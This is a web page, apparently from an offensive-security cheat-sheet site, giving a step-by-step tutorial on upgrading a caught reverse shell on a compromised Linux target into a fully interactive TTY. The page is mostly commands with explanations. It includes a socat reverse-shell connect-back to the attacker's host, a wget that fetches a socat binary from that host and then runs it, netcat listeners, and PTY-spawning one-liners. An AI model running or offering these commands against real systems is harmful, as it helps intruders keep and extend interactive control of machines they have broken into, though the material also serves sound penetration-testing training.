Skip to content
HackIndex logo

HackIndex

Shell Stabilization and TTY Upgrade on Linux

5 min read Apr 3, 2026

A raw netcat shell is missing job control, tab completion, arrow keys, and interactive prompts. Many post-exploitation tools and privilege escalation techniques break or behave unexpectedly without a real TTY. Stabilizing the shell is the first action after catching a reverse shell — before anything else.

Python PTY Method

The most common stabilization path when Python is available on the target.

$ python3 -c 'import pty; pty.spawn("/bin/bash")'
$ # or
$ python -c 'import pty; pty.spawn("/bin/bash")'
Explain command
-c Execute the following string as a Python command.
'import pty; pty.spawn("/bin/bash")' Spawns a pseudo-terminal with /bin/bash for a fully interactive shell.

After spawning the PTY, background the shell with Ctrl+Z, then fix the terminal settings from your attacker machine:

user@host ~ $ stty raw -echo; fg
Explain command
raw Sets terminal to raw mode, disabling input processing.
-echo Disables echoing of typed characters to the terminal.
fg Resumes the most recently suspended background job.

Then set the terminal type inside the shell:

user@host ~ $ export TERM=xterm
user@host ~ $ export SHELL=bash

If the terminal dimensions are wrong — output wraps badly or editors misalign — check your local terminal size and push it to the remote:

user@host ~ $ # On attacker machine
user@host ~ $ stty size
 
user@host ~ $ # Inside the shell
user@host ~ $ stty rows 48 columns 220

Replace the values with your actual terminal dimensions.

Script Method

Works on systems without Python. /usr/bin/script is present on most Linux installs.

$ script /dev/null -c bash
Explain command
/dev/null Discards the typescript log output by writing to null device.
-c bash Executes bash as the command within the new pseudo-terminal session.

Apply the same stty raw -echo; fg and TERM steps after backgrounding.

Socat Fully Interactive Shell

Socat produces the cleanest TTY without needing the stty raw workaround. Requires socat on both the attacker machine and the target, or transferring the binary to the target.

On the attacker machine, start the listener:

┌──(kali㉿kali)-[~]
└─$ socat file:`tty`,raw,echo=0 tcp-listen:$LPORT
Explain command
file:`tty` Attaches current TTY as a socat I/O channel for interactive use.
raw Sets TTY to raw mode, disabling line buffering and special character processing.
echo=0 Disables terminal echo so input characters aren't printed locally.
tcp-listen:$LPORT Opens a TCP listener on the specified local port waiting for a connection.

On the target:

$ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:$LHOST:$LPORT
Explain command
exec:'bash -li' Executes an interactive login bash shell as the socat subprocess.
pty Allocates a pseudo-terminal for the subprocess for proper TTY handling.
stderr Redirects stderr of the subprocess to the socat channel.
setsid Runs the process in a new session, detaching from the current terminal.
sigint Passes SIGINT signals through to the subprocess instead of socat.
sane Sets sane terminal settings on the PTY for proper input/output behavior.
tcp:$LHOST:$LPORT Connects via TCP to the attacker-controlled listener at host and port.

The result is a full interactive TTY with no extra steps needed.

If socat is not on the target, transfer a static binary:

$ wget http://$LHOST/socat -O /tmp/socat
$ chmod +x /tmp/socat
$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:$LHOST:$LPORT
Explain command
http://$LHOST/socat URL to download the socat binary from the attacker's host.
-O /tmp/socat Save the downloaded file to /tmp/socat.
+x /tmp/socat Add execute permission to the downloaded socat binary.
exec:'bash -li' Execute an interactive login bash shell via socat.
pty Allocate a pseudo-terminal for the session.
stderr Redirect stderr to the network stream.
setsid Run the shell in a new session to detach from the terminal.
sigint Pass SIGINT signals through to the remote shell.
sane Set sane terminal settings for proper shell interaction.
tcp:$LHOST:$LPORT Connect back to attacker's IP and port over TCP.

Static socat binaries for common architectures are available from the Releases section of the andrew-d/static-binaries repository.

rlwrap for Partial Improvement

When none of the above are available, wrapping your netcat listener with rlwrap adds readline support and arrow key history on the attacker side. It does not produce a real TTY but makes basic navigation usable.

┌──(kali㉿kali)-[~]
└─$ rlwrap nc -lvnp $LPORT
Explain command
-l Listen mode, waits for incoming connections.
-v Verbose output, displays connection details.
-n Skip DNS resolution, use numeric IPs only.
-p Specifies the local port number to listen on.
$LPORT Variable placeholder for the local listening port number.

Checking for Available Interpreters

If Python is not found, check what is available before giving up:

$ which python python3 perl ruby php script socat bash sh 2>/dev/null
Explain command
python Check for Python 2 interpreter in PATH.
python3 Check for Python 3 interpreter in PATH.
perl Check for Perl interpreter in PATH.
ruby Check for Ruby interpreter in PATH.
php Check for PHP interpreter in PATH.
script Check for the 'script' utility in PATH.
socat Check for socat utility in PATH.
bash Check for Bash shell in PATH.
sh Check for sh shell in PATH.
2>/dev/null Redirect stderr to /dev/null to suppress error messages.

Perl and Ruby can also spawn PTYs:

┌──(kali㉿kali)-[~]
└─$ perl -e 'use POSIX qw(setsid); setsid(); exec "/bin/bash";'
┌──(kali㉿kali)-[~]
└─$ ruby -e 'exec "/bin/bash"'
Explain command
-e Executes the following string as a Perl script inline.
use POSIX qw(setsid) Imports setsid function from POSIX module.
setsid() Creates a new session, detaching from controlling terminal.
exec "/bin/bash" Replaces current process with /bin/bash shell.
-e Executes the following string as a Ruby script inline.
exec "/bin/bash" Replaces current Ruby process with /bin/bash shell.

These do not produce a full PTY but can improve basic shell behavior.

Common Issues

Shell dies after stty raw -echo: The process backgrounded incorrectly. Run fg to bring it back before the terminal times out.

No output after stabilization: The TERM variable is not set or set to an unsupported value. Run export TERM=xterm-256color inside the shell.

Ctrl+C kills the shell instead of the running process: stty raw was not applied. Redo the backgrounding and stty raw -echo; fg sequence.

su, sudo, and passwd fail with "must be run from a terminal": The shell does not have a proper TTY. Use the Python pty or socat method — script alone is not always sufficient.